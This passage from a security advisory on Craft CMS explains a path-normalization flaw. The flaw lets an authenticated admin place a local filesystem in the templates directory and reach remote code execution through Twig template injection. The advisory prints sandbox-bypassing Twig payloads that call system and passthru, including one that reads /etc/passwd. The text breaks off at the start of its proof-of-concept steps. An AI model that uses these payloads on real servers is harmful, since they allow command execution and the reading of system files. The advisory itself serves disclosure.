  "details": "### Summary\n\nMissing `normalizePath` in the function `FileHelper::absolutePath` could lead to Remote Code Execution on the server via twig SSTI.\n\n`(Post-authentication, ALLOW_ADMIN_CHANGES=true)`\n\n### Details\n\nNote: This is a sequel to [CVE-2023-40035](https://github.com/craftcms/cms/security/advisories/GHSA-44wr-rmwq-3phw)\n\nIn [`src/helpers/FileHelper.php#L106-L137`](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/helpers/FileHelper.php#L106-L137), the function `absolutePath` returned `$from . $ds . $to` without path normalization:\n\n```php\n/**\n * Returns an absolute path based on a source location or the current working directory.\n *\n * @param string $to The target path.\n * @param string|null $from The source location. Defaults to the current working directory.\n * @param string $ds the directory separator to be used in the normalized result. Defaults to `DIRECTORY_SEPARATOR`.\n * @return string\n * @since 4.3.5\n */\npublic static function absolutePath(\n    string $to,\n    ?string $from = null,\n    string $ds = DIRECTORY_SEPARATOR,\n): string {\n    $to = static::normalizePath($to, $ds);\n\n    // Already absolute?\n    if (\n        str_starts_with($to, $ds) ||\n        preg_match(sprintf(\u0027/^[A-Z]:%s/\u0027, preg_quote($ds, \u0027/\u0027)), $to)\n    ) {\n        return $to;\n    }\n\n    if ($from === null) {\n        $from = FileHelper::normalizePath(getcwd(), $ds);\n    } else {\n        $from = static::absolutePath($from, ds: $ds);\n    }\n\n    return $from . $ds . $to;\n}\n```\n\nThis could leads to multiple security risks, one of them is in [`src/services/Security.php#L201-L220`](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/services/Security.php#L201-L220) where `../templates/poc` is not considered a system dir.\n\nLet\u0027s see what happens after calling `isSystemDir(\"../templates/poc\")`:\n\n```php\n/**\n * Returns whether the given file path is located within or above any system directories.\n *\n * @param string $path\n * @return bool\n * @since 5.4.2\n */\npublic function isSystemDir(string $path): bool // $path = \"../templates/poc\"\n{\n    $path = FileHelper::absolutePath($path, \u0027/\u0027); // $path = \"/var/www/html/web//../templates/poc\"\n\n    foreach (Craft::$app-\u003egetPath()-\u003egetSystemPaths() as $dir) {\n        $dir = FileHelper::absolutePath($dir, \u0027/\u0027); // $dir = \"/var/www/html/templates\"\n        if (str_starts_with(\"$path/\", \"$dir/\") || str_starts_with(\"$dir/\", \"$path/\")) { // if (false || false)\n            return true;\n        }\n    }\n\n    return false; // We\u0027re here!\n}\n```\n\nNow that the path `../templates/poc` can bypass `isSystemDir`, it will also bypass the function `validatePath` in [`src/fs/Local.php#L124-L136`](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/fs/Local.php#L124-L136):\n```php\n/**\n * @param string $attribute\n * @param array|null $params\n * @param InlineValidator $validator\n * @return void\n * @since 4.4.6\n */\npublic function validatePath(string $attribute, ?array $params, InlineValidator $validator): void\n{\n    if (Craft::$app-\u003egetSecurity()-\u003eisSystemDir($this-\u003egetRootPath())) {\n        $validator-\u003eaddError($this, $attribute, Craft::t(\u0027app\u0027, \u0027Local filesystems cannot be located within or above system directories.\u0027));\n    }\n}\n```\n\nWe can now create a Local filesystem within the system directories, particularly in `/var/www/html/templates/poc`\n\nThen create a new asset volume with that filesystem, upload a `poc.ttml` file with twig code and execute using a new route with template path `poc/poc.ttml`\n\nAlthough craftcms does sandbox twig ssti, the list in [src/web/twig/Extension.php#L180-L268](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/web/twig/Extension.php#L180-L268) is still incomplete.\n\n\n```js\n{{[\u0027id\u0027] has some \u0027system\u0027}}\n{{[\u0027ls\u0027] has every \u0027passthru\u0027}}\n{{[\u0027cat /etc/passwd\u0027]|find(\u0027system\u0027)}}\n{{[\u0027id;pwd;ls -altr /\u0027]|find(\u0027passthru\u0027)}}\n```\n\nThese payloads still work, see [twigphp/Twig/src/Extension/CoreExtension.php#getFilters()](https://github.com/twigphp/Twig/blob/a3496d148b75e270065ed8f03758f7b09b3a9793/src/Extension/CoreExtension.php#L196-L247) and [twigphp/Twig/src/Extension/CoreExtension.php#getOperators()](https://github.com/twigphp/Twig/blob/a3496d148b75e270065ed8f03758f7b09b3a9793/src/Extension/CoreExtension.php#L291-L333) for more informations.\n\n### PoC\n\n1.
